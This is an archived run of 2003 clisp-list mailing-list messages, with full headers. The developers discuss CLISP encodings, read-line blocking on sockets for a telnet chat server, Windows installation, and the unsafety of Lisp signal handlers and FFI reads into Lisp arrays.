character set CHARSET:ASCI I have already found a solution to the equivalent input error, which was occurring while reading input from a file, i.e. invalid byte #xE4 in CHARSET:ASCII conversion The solution here was to put this line into my init file: #+unicode (setf custom:*default-file-encoding* (ext:make-encoding :charset "ISO-8859-1" :line-terminator :unix)) What is the equivalent *default-whatever-encodint* that corresponds to the standard output? Thanks. Nick. From kraehe@copyleft.de Mon Jan 20 18:48:57 2003 Received: from mout1.freenet.de ([194.97.50.132] ident=exim) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18aoSj-0007jO-00 for ; Mon, 20 Jan 2003 18:48:30 -0800 Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with asmtp (Exim 4.10) id 18aoSF-0002tj-00; Tue, 21 Jan 2003 03:47:59 +0100 Received: from bec4f.pppool.de ([213.7.236.79] helo=bakunin.copyleft.de) by mx0.freenet.de with esmtp (Exim 4.10 #7) id 18aoSF-00040u-00; Tue, 21 Jan 2003 03:47:59 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 18aonV-0000J1-00; Tue, 21 Jan 2003 04:09:57 +0100 From: Michael Koehne To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-line (clisp 2.30/woody) Message-ID: <20030121030956.GA940@bakunin.copyleft.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE0154250D@G8PQD.blf01.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0154250D@G8PQD.blf01.telekom.de> User-Agent: Mutt/1.3.28i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 20 18:49:05 2003 X-Original-Date: Tue, 21 Jan 2003 04:09:57 +0100 Moin Joerg-Cyril Hoehle, > I tried out Michael's example code. It appears that the symptom come > from CRLF or CR occurring in the stream. *hm* nice that someone else managed to reproduce the situation. > Indeed, the difference in behaviour sounds unnormal. Maybe the internal state engine about CR and/or LF line-termination detection is broken? well something with read-line or read-sequence semantics would never work reliable together with the select() system call. A code calling socket-status and read-line is broken by design, even if the side effect between socket-status and read-line is solved. A ready for reading condition on select() system call means that one can do !exactly one! read() system call afterwards. Now read-line wants a line, so read-line will block, if there is no in the first packet. I think I need two low level lisp functions : (unix-read array &optional stream) => count; errno (unix-write array &optional stream) => count; errno The main difference between this unix-read and read-sequence is that read-sequence will block to fill the array, unless :eof, while the unix read() system call only returns those bytes that are already there. CLHS: Position is the index of the first element of sequence that was not updated, which might be less than end because the end of file was reached. man 2 read It is not an error if this number is smaller than the number of bytes requested; this may happen for example because fewer bytes are actually available right now. The unix-write has to provide writing for such low level sockets. SIGPIPE should be ignored before the write() system call, so EPIPE could be used as a normal error conditions. Its a question, if count should become NIL or stay -1 on error conditions. Btw: My idea is chat server, where people can connect via normal telnet or special mud clients. So unix-read and unix-write must think in bytes semantics, as the server has to implement IAC options of telnet protocol. I tried read-sequence similar using read() and select(), but using read-sequence with an array of size 4096 instead of read-line will block. But an array size of one should work - i thought ;-( (progn (format t "waiting for connect") (setq serv (socket-server 5555)) (setq sock (socket-accept serv)) (setq buff (make-array 1)) ; (setq buff (make-array 1 :element-type '(integer 0 255))) (format t "waiting for input") (dotimes (n 1000) (setq stat (socket-status (list serv (cons sock :input)) 0 500000)) (format t "Status ~A~%" stat) (when (eq (cadr stat) :INPUT) (setq flag (read-sequence buff sock)) (format t "Line: (~A) Flag:(~A)~%" buff flag) ) ) ) Constraining the array to bytes (i dont want any c-function to interprete the stream - i have to talk IAC telnet options - without any translations) did'nt work : *** - SYSTEM::STORE: #\a does not fit into #(0), bad type not constraining the array type will reveal the followin missfortune. the first 'asdfg' : Status (NIL NIL) Status (NIL INPUT) Line: (#(a)) Flag:(1) Status (NIL INPUT) Line: (#(s)) Flag:(1) Status (NIL INPUT) Line: (#(d)) Flag:(1) Status (NIL INPUT) Line: (#(f)) Flag:(1) Status (NIL INPUT) Line: (#(g)) Flag:(1) Status (NIL INPUT) Line: (#()) Flag:(1) < perhaps CR - where is LF ? Status (NIL NIL) the first 'asdfg' : Status (NIL NIL) Status (NIL INPUT) Line: (#()) Flag:(1) < what happens here ? LF buffered ? Status (NIL INPUT) Line: (#(a)) Flag:(1) Status (NIL INPUT) Line: (#(s)) Flag:(1) Status (NIL INPUT) Line: (#(d)) Flag:(1) Status (NIL INPUT) Line: (#(f)) Flag:(1) Status (NIL INPUT) Line: (#(g)) Flag:(1) Status (NIL INPUT) Line: (#()) Flag:(1) < perhaps CR - where is LF ? Status (NIL NIL) user types control-]close in telnet Status (NIL NIL) Status (NIL INPUT) Line: (#()) Flag:(1) < this should be #(), 0 or its the buffered LF, but I'm missing eof condition here Status (NIL NIL) Status (NIL NIL) < nearly 1000 times as usual socket-server is running wild, because of a dead socket. so i cant distinct between and as both are mapped #() and i still dont have a way to catch the :eof condition. Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.6'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From sat2975@hotmail.com Mon Jan 20 21:42:59 2003 Received: from f3.sea2.hotmail.com ([207.68.165.3] helo=hotmail.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18arBa-0006TQ-00 for ; Mon, 20 Jan 2003 21:42:58 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 20 Jan 2003 21:41:23 -0800 Received: from 207.30.8.191 by sea2fd.sea2.hotmail.msn.com with HTTP; Tue, 21 Jan 2003 05:41:23 GMT X-Originating-IP: [207.30.8.191] From: "sathyan kuppuswamy" To: clisp-list@lists.sourceforge.net Bcc: Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 21 Jan 2003 05:41:23.0434 (UTC) FILETIME=[BB823CA0:01C2C10F] Subject: [clisp-list] How to install CLisp on a Windows 2000 machine Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 20 21:43:07 2003 X-Original-Date: Tue, 21 Jan 2003 00:41:23 -0500 Please let me know if anyone has instructions for installing CLisp on a Windows 2000 machine. Thanks _________________________________________________________________ Add photos to your e-mail with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail From lisp-clisp-list@m.gmane.org Mon Jan 20 23:31:38 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18assj-0005W6-00 for ; Mon, 20 Jan 2003 23:31:37 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18asrD-0002R0-00 for ; Tue, 21 Jan 2003 08:30:03 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18asoj-0002JA-00 for ; Tue, 21 Jan 2003 08:27:29 +0100 Path: not-for-mail From: Christian Schuhegger Lines: 16 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en Subject: [clisp-list] Re: How to install CLisp on a Windows 2000 machine Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 20 23:32:04 2003 X-Original-Date: Tue, 21 Jan 2003 08:28:59 +0100 sathyan kuppuswamy wrote: > Please let me know if anyone has instructions for installing CLisp on a > Windows 2000 machine. > Thanks i am using clisp on win2k. there is absolutely no problem in installing clisp on a windows machine. just download the binary distribution, unpack it and start the executable. in addition i would recommend to use gnu emacs (which is available also as a binary distribution for windows) and ilisp. this gives you a good development environemnt. -- Christian Schuhegger From Joerg-Cyril.Hoehle@t-systems.com Tue Jan 21 01:06:11 2003 Received: from gw11.telekom.de ([62.225.183.250] helo=fw11.telekom.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18auM2-0003ac-00 for ; Tue, 21 Jan 2003 01:05:59 -0800 Received: by fw11.telekom.de; (8.8.8/1.3/10May95) id KAA15790; Tue, 21 Jan 2003 10:00:32 +0100 (MET) Received: from g8pbr.blf01.telekom.de by G8PXB.blf01.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 21 Jan 2003 09:58:04 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 21 Jan 2003 09:55:41 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE015425DE@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: AW: [clisp-list] Default encoding problem MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 21 01:07:02 2003 X-Original-Date: Tue, 21 Jan 2003 09:55:33 +0100 Nick Wright wrote: >invalid byte #xE4 in CHARSET:ASCII conversion >The solution here was to put this line into my init file: >#+unicode (setf custom:*default-file-encoding* > (ext:make-encoding :charset "ISO-8859-1" >:line-terminator :unix)) > >What is the equivalent *default-whatever-encodint* that corresponds to >the standard output? Given that you already knew about custom:*default-*-encoding*, it might have been trivial to search for it in the impnotes text to find all the other references next to it. Please look up ext:make-encoding. Sam Steingold uses to respond: >FAQ already contains this information in the form of references to the >relevant parts of the manual and the impnotes. and, more recently: >I want $20 for each question that I answer with a URL pointing to the >CLISP documentation :-) >On the second thought, if the pointer is to the FAQ, I want $50. :-) Do you believe that the answer there is not precise enough and should mention something else? Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Tue Jan 21 01:25:48 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18aufB-0005lP-00 for ; Tue, 21 Jan 2003 01:25:46 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 21 Jan 2003 10:25:25 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 21 Jan 2003 10:24:54 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE01542601@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] read-line (clisp 2.30/woody) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 21 01:26:06 2003 X-Original-Date: Tue, 21 Jan 2003 10:24:53 +0100 Michael, I came to exactly the same conclusions! > A code calling > socket-status and read-line is broken by design, Yes, since read-line will block until the line completes. > I think I need two low level lisp functions : > (unix-read array &optional stream) => count; errno > (unix-write array &optional stream) => count; errno We had a thread here about READ-SOME-BYTES some time ago. I didn't implement it back then because it's a nightmare, as the code would run across half a dozen files (stream.d for top-level, socket.d, unixaux.d, winaux.d etc.). That doesn't mean it's not useful. Thinking more on this as time passes by, I came to the conclusion that READ-SOME-SEQUENCE or READ-SOME-CHARACTERS (as suggested back then) are broken by design. There's nothing like partial reads when given multibyte characters (or CRLF markers or 2- or 4-byte integers). Such a partial result only makes sense for the smallest entity: (unsigned-byte 8). From there, one could obtain characters using EXT:convert-from-bytes - which needs to be extended to return how much of the input could be converted. My feeling is that CLISP ought to implement simple streams natively. Simple streams seem to solve such problems and has this nice layering of low-level byte streams and upper-level character or integer streams. Simple streams at least has shown evidence that it works in Allegro and CMUCL, so it cannot be that broken. But rewriting stream.d (again) is a major undertaking. I'll look into providing a READ-SOME-BYTES hack that would only work on sockets (possibly pipes), and not bother at all about integration with the rest of stream.d. At least the function would be there, and possibly integrated at a later time, should simple streams eventually get there. Some further comments: > Its a question, if count > should become NIL or stay -1 on error conditions. Iik, please stay away from broken C "magic values" when doing Lisp! We have multiple values, closures, signaling and error handling. > block. But an array size of one should work - i thought ;-( Of course not. CLISP will fill it up, like a longer one. > Line: (#(g)) Flag:(1) > Status (NIL INPUT) > Line: (#()) Flag:(1) < perhaps CR - >where is LF ? > Status (NIL NIL) It's not that good an idea to write out a string using (format t "~A" #) when you expect to look at non-printable characters. > so i cant distinct between and as both are mapped #() > and i still dont have a way to catch the :eof condition. READ-LINE will not let you distinguish them. That's its design. In Lisp, as in C, the line is conceptually terminated by #\newline (resp. \n in C). Whether OS conventions want something else(Mac)/more(DOS) should not matter to the programmer. That is the abstraction. From all the problems people reported with that in CLISP, I came to the conclusion that this does not work for interactive stuff. At least not in a world where programmers throw out LF-only terminated lines when all specifications (e.g. SMTP, HTTP) clearly specify CRLF and your code tries to "be liberal in what you accept". READ-SEQUENCE, hmm? Not sure it may help. Did you consider (ext:make-encoding :charset ... :line-terminator :dos/:unix:mac)? I'm not sure it would make a difference. Probably not in conjunction with :element-type 'character, which will also convert CR/LF int o a single #\newline. Impnotes clearly states: "The line terminator mode is relevant only for output (writing to a file/pipe/socket). During input, all three kinds of line terminators are recognized." Regards, Jorg Hohle. From Sebastien.Routier@ottawa.hummingbird.com Tue Jan 21 06:25:18 2003 Received: from [216.94.73.212] (helo=OTTEXCH01.ottawa.hcl.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18azL4-0002p6-00 for ; Tue, 21 Jan 2003 06:25:18 -0800 Received: by ottexch01.ottawa.hcl.com with Internet Mail Service (5.5.2650.21) id ; Tue, 21 Jan 2003 09:24:30 -0500 Message-ID: <1569457F4814D311B4E200805FC7B78B05AF105C@ottexch01.ottawa.hcl.com> From: Sebastien Routier To: 'sathyan kuppuswamy' , clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] How to install CLisp on a Windows 2000 machine MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 21 06:26:04 2003 X-Original-Date: Tue, 21 Jan 2003 09:24:26 -0500 I found all I needed at "Setting up an IDE with Emacs on Windows" (http://cl-cookbook.sourceforge.net/windows.html) part of THE great COMMON LISP COOKBOOK (http://cl-cookbook.sourceforge.net/). enjoy. bye. /Sebast : ####[ Linux One Stanza Tip (LOST) ]########################### Sub : Password Length LOST #159 To change the minimum acceptable password length from default 5 characters edit /etc/login.defs. Change the line that reads PASS_MIN_LEN 5, and change to your desired value. Example: PASS_MIN_LEN 8 ######################### : > -----Original Message----- > From: sathyan kuppuswamy [mailto:sat2975@hotmail.com] > Sent: Tuesday, January 21, 2003 12:41 AM > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] How to install CLisp on a Windows 2000 machine > > > Please let me know if anyone has instructions for installing > CLisp on a > Windows 2000 machine. > Thanks > > > > > > _________________________________________________________________ > Add photos to your e-mail with MSN 8. Get 2 months FREE*. > http://join.msn.com/?page=features/featuredemail > > > > ------------------------------------------------------- > This SF.NET email is sponsored by: > SourceForge Enterprise Edition + IBM + LinuxWorld = Something 2 See! > http://www.vasoftware.com > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From Joerg-Cyril.Hoehle@t-systems.com Tue Jan 21 08:35:53 2003 Received: from gw11.telekom.de ([62.225.183.250] helo=fw11.telekom.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18b1N9-00018C-00 for ; Tue, 21 Jan 2003 08:35:36 -0800 Received: by fw11.telekom.de; (8.8.8/1.3/10May95) id QAA07846; Tue, 21 Jan 2003 16:57:45 +0100 (MET) Received: from g8pbr.blf01.telekom.de by G8PXB.blf01.telekom.de with ESMTP; Tue, 21 Jan 2003 17:02:30 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 21 Jan 2003 17:00:08 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE015427EE@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: peter.wood@worldonline.dk, pjb@informatimago.com X-Mailer: Internet Mail Service (5.5.2653.19) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: Quoted-Printable Subject: [clisp-list] must not use signal handlers written in Lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 21 08:36:09 2003 X-Original-Date: Tue, 21 Jan 2003 17:00:07 +0100 I'm playing Cassandra again. One must currently not install a signal handler written in Lisp into CLISP.= Reasons are both from i) GC and ii) not all parts of CLISP being reentrant.= Although Peter Wood demo'ed one in March 2002, a signal handler in Lisp is = completely unreliable and may crash at any GC or cause other trouble. [5]> (defun wow (s) (format t "Wow! You zapped me with signal ~R~%" s)) WOW [6]> (setf (sa-handler oldsigact) #'wow) # [7]> (signal-action-install linux:SIGINT oldsigact) T ;;now Ctrl-C calls #'wow !! [8]> Wow! You zapped me with signal two Wow! You zapped me with signal two Wow! You zapped me with signal two Wow! You zapped me with signal two =09GC problems: - Signal handlers are called between any two processor instructions (when o= ut of the kernel). Therefore, GC roots hold in registers and not yet pushed= onto the STACK would become lost. - C code cannot cope with GC arbitrarily moving stuff while it's working on= Lisp objects. =09Reentrancy problems: E.g. foreign.d features foreign_layout() which modifies the variables data_= size, data_alignment and data_splitable. This is used by FFI::FOREIGN-CALL-= OUT, each time argument or return types are parsed, but also by FFI:SIZEOF.= That means that if some code is using these and a signal handlers jumps in = and modifies them, anything can happen. set/clr_break_sem_1-7 has been in CLISP for the last 10 years to protect va= rious non-reentrant or non-interruptible areas (IIRC, Atari and DOS would n= ot allow to use a directory control block twice during one traversal). Howe= ver I wouldn't bet on o whether all non-reentrant places are identified this way o whether these (seemingly history) break semaphore protected places are st= ill in good shape. Their purpose is documented in spvw.d. lispbibl.d would be a better choice.= lispbibl.d says: # Break-Semaphores # As long as a Break-Semaphore is set, the Lisp-Program can not # be interrupted. Purpose: # - backup of Consistencies, # - Non-reentrant Data-Structures (like e.g. DTA_buffer) can not # be used recursively. Signal handlers written in Lisp would be subject to the same limitation. =09=09Solution path proposals: A) Bruno Haible proposed running signal handlers in separate threads. We do= n't have threads right now and I wouldn't hold my breath for them (vapourwa= re for the last 5 years). B) I propose delaying them and invoking them in safe places. Typically in t= he bytecode evaluation loop, where ^C is also checked for. That should be o= ften enough. That would avoid concern i) (GC). The invocation of signal handlers cannot be thrown into the places where in= terruptp() lies, because code must be ready to continue from there, whereas= current interruptp() places are IMHO only safe for abort (throwing to a RE= PL), but not for arbitrary GC inbetween. Note that the current break_sem[] code already serves to delay SIGINT a lit= tle bit to ensure data structure consistency (but not reentrancy). OTOH, if one has threads, signals (in other threads) become trivial. Can th= is be reason enough not to bother with signals and attempt to direct all ef= fort into threads? o Propose an API, e.g. CMUCL's http://cvs2.cons.org/ftp-area/cmucl/doc/cmu-user/unix.html system:enable-interrupt signal function =09=09Open issues: o Also delay non-Lisp handlers? I'd say yes, in that they could call back i= nto the FFI and this would be safe. People who don't want them to be delaye= d (and don'T call back or use Lisp) could still call the original UNIX func= tion. o Identify any non-reentrant places in CLISP and make them safe (e.g. forei= gn.d data_* variables) - somehow. That would also work towards threads. o interaction with signal handlers that CLISP needs itself, e.g. SIGPIPE(?)= , SIGSEGV, SIGINT, SIGALRM, SIGWINCH. Regards, =09J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Tue Jan 21 08:42:41 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18b1Se-0002Mr-00 for ; Tue, 21 Jan 2003 08:41:16 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 21 Jan 2003 15:02:58 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 21 Jan 2003 15:01:36 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0154276D@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: nick@lsd.net.nz MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Default encoding problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 21 08:43:06 2003 X-Original-Date: Tue, 21 Jan 2003 15:01:25 +0100 Nick Wright asked: >#+unicode (setf custom:*default-file-encoding* > (ext:make-encoding :charset "ISO-8859-1" >:line-terminator :unix)) > >What is the equivalent *default-whatever-encodint* that corresponds to >the standard output? More precisely, there's no encoding which corresponds to *standard-output* per se, as it depends on the nature of the descriptor that stdout refers to. *default-file-encoding* would apply to what's bound to *standard-output* if CLISP's output were redirected to a file. Try lisp.exe -B . -M lispinit.mem -x "(describe *standard-output*)" > test.txt type test.txt lisp.exe -B . -M lispinit.mem -x "(describe *standard-output*)" You may get either # is an input/output-stream. # is an output-stream. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Tue Jan 21 08:42:55 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18b1Sl-0002N5-00 for ; Tue, 21 Jan 2003 08:41:24 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 21 Jan 2003 15:35:14 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 21 Jan 2003 15:34:23 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0154278D@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kraehe@copyleft.de, haible@ilog.fr MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] one must not use FFI to read() into Lisp arrays (was: read-line) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 21 08:43:07 2003 X-Original-Date: Tue, 21 Jan 2003 15:34:22 +0100 Michael Koehne wrote: > So I think I need some low level > (system-read stream array) and (system-write stream array) > both returning an integer. I'll next read into ffi. I should have mentioned this earlier, when we discussed READ-SOME/PARTIAL a while ago. The FFI is not a reliable solution for writing into Lisp arrays. Witness the code in unixaux.d *and* in win32aux.d: local int lowlevel_sock_read (SOCKET fd, void* buf, int nbyte) #if (defined(GENERATIONAL_GC) && defined(SPVW_MIXED)) || defined(SELFMADE_MMAP) # Must adjust the memory permissions before calling read(). # - On SunOS4 a missing write permission causes the read() call to hang # in an endless loop. # - With Linux 2.2 the read call returns with errno=EFAULT, but with # unpredictable side side effects: If fd refers to a socket, some of # the socket data gets lost. # The SunOS4 behaviour is clearly a bug, but the Linux 2.2 behaviour is # not. The POSIX spec says that read() returns with errno=EFAULT, but # does not specify anything about possible side effects. handle_fault_range(PROT_READ_WRITE,(aint)buf,(aint)buf+nbyte); #endif ... now recv() can be called on that buf[fer] One's own FFI code obviously would not invoke handle_fault_range() to prepare the call to read() or write(). As a result, the code may fail on some systems. Maybe you wouldn't bother because it may seem to work for you durign testing, but IMHO CLISP should provide portable ways of doing the reading reliably. Of course, you could roll your own i/o *and* buffers with the FFI and not care about generational GC. Hmm, this may also affect authors of hand-written modules. Regards, Jorg Hohle. From kraehe@copyleft.de Tue Jan 21 11:28:12 2003 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18b43k-0000QT-00 for ; Tue, 21 Jan 2003 11:27:44 -0800 Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout2.freenet.de with asmtp (Exim 4.10) id 18b43G-0006HX-00; Tue, 21 Jan 2003 20:27:14 +0100 Received: from bec4f.pppool.de ([213.7.236.79] helo=bakunin.copyleft.de) by mx1.freenet.de with esmtp (Exim 4.10 #7) id 18b43F-0007bd-00; Tue, 21 Jan 2003 20:27:13 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 18b4Ow-0000l6-00; Tue, 21 Jan 2003 20:49:38 +0100 From: Michael Koehne To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-line (clisp 2.30/woody) Message-ID: <20030121194938.GA2752@bakunin.copyleft.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE01542601@G8PQD.blf01.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE01542601@G8PQD.blf01.telekom.de> User-Agent: Mutt/1.3.28i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jan 21 11:29:01 2003 X-Original-Date: Tue, 21 Jan 2003 20:49:38 +0100 Moin Joerg-Cyril Hoehle, > I came to exactly the same conclusions! *cheer* > > A code calling socket-status and read-line is broken by design, > Yes, since read-line will block until the line completes. a TCP packet could also contain several lines, most pipe packets are 4069 bytes long and likely contain several lines, ..., and lots of other race conditions. Rewriting read-line to work with socket-status, would have to code dozens of race conditions. Implementing IAC telnet options, within this read-line/socket-status combo, would add an other can of worms. > > I think I need two low level lisp functions : > > (unix-read array &optional stream) => count; errno > > (unix-write array &optional stream) => count; errno > Such a partial result only makes sense for the smallest entity: !NO! - think about 1000 users ;-( I want to read complete blocks, as they are, as they come - low level. So only !ONE! read() call per socket that has input. So i just need access to the low level read and write. To implement the logic in LISP. This logic would not follow the stream design pattern, of a process waiting for a line. It would be a scheduler sending line events to objects. So there wont be a read-line method of the stream but a process-line method of the object containing the socket. > My feeling is that CLISP ought to implement simple streams natively. a simple stream means that there is 1 process waiting for read-line ? this already works - with one process and one stream at a time. > But rewriting stream.d (again) is a major undertaking. would this mean, that there wont be a socket-status but some ? (loop (create-process-with-socket (socket-accept server) (do-something-with-read-line))) does clisp has its internal multithreading ? or internal processes ? do they already work with streams in a way like above ? > I'll look into providing a READ-SOME-BYTES hack that would only work > on sockets (possibly pipes), and not bother at all about integration > with the rest of stream.d. exactly: furthermore, sockets and pipes, who are used in socket-status should be tainted. This mean only socket-accept on server sockets and system-read-buffer/system-write-buffer could be used without warning. > It's not that good an idea to write out a string using (format t "~A" #) when you expect to look at non-printable characters. *hm* whats the best way doing this ? > READ-LINE will not let you distinguish them. That's its design. In Lisp, > as in C, the line is conceptually terminated by #\newline (resp. \n in > C). Whether OS conventions want something else(Mac)/more(DOS) should > not matter to the programmer. That is the abstraction. now: rfc854 states, that #\newline is either "\r\n" or "\r\000" ! In MUD context read-record return its buffer on "\r\n", "\r\000", "\377\371" or "\377\357". A corrosponding write-record would need a flag what kind of record termination is needed. Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.6'UNZ+1' 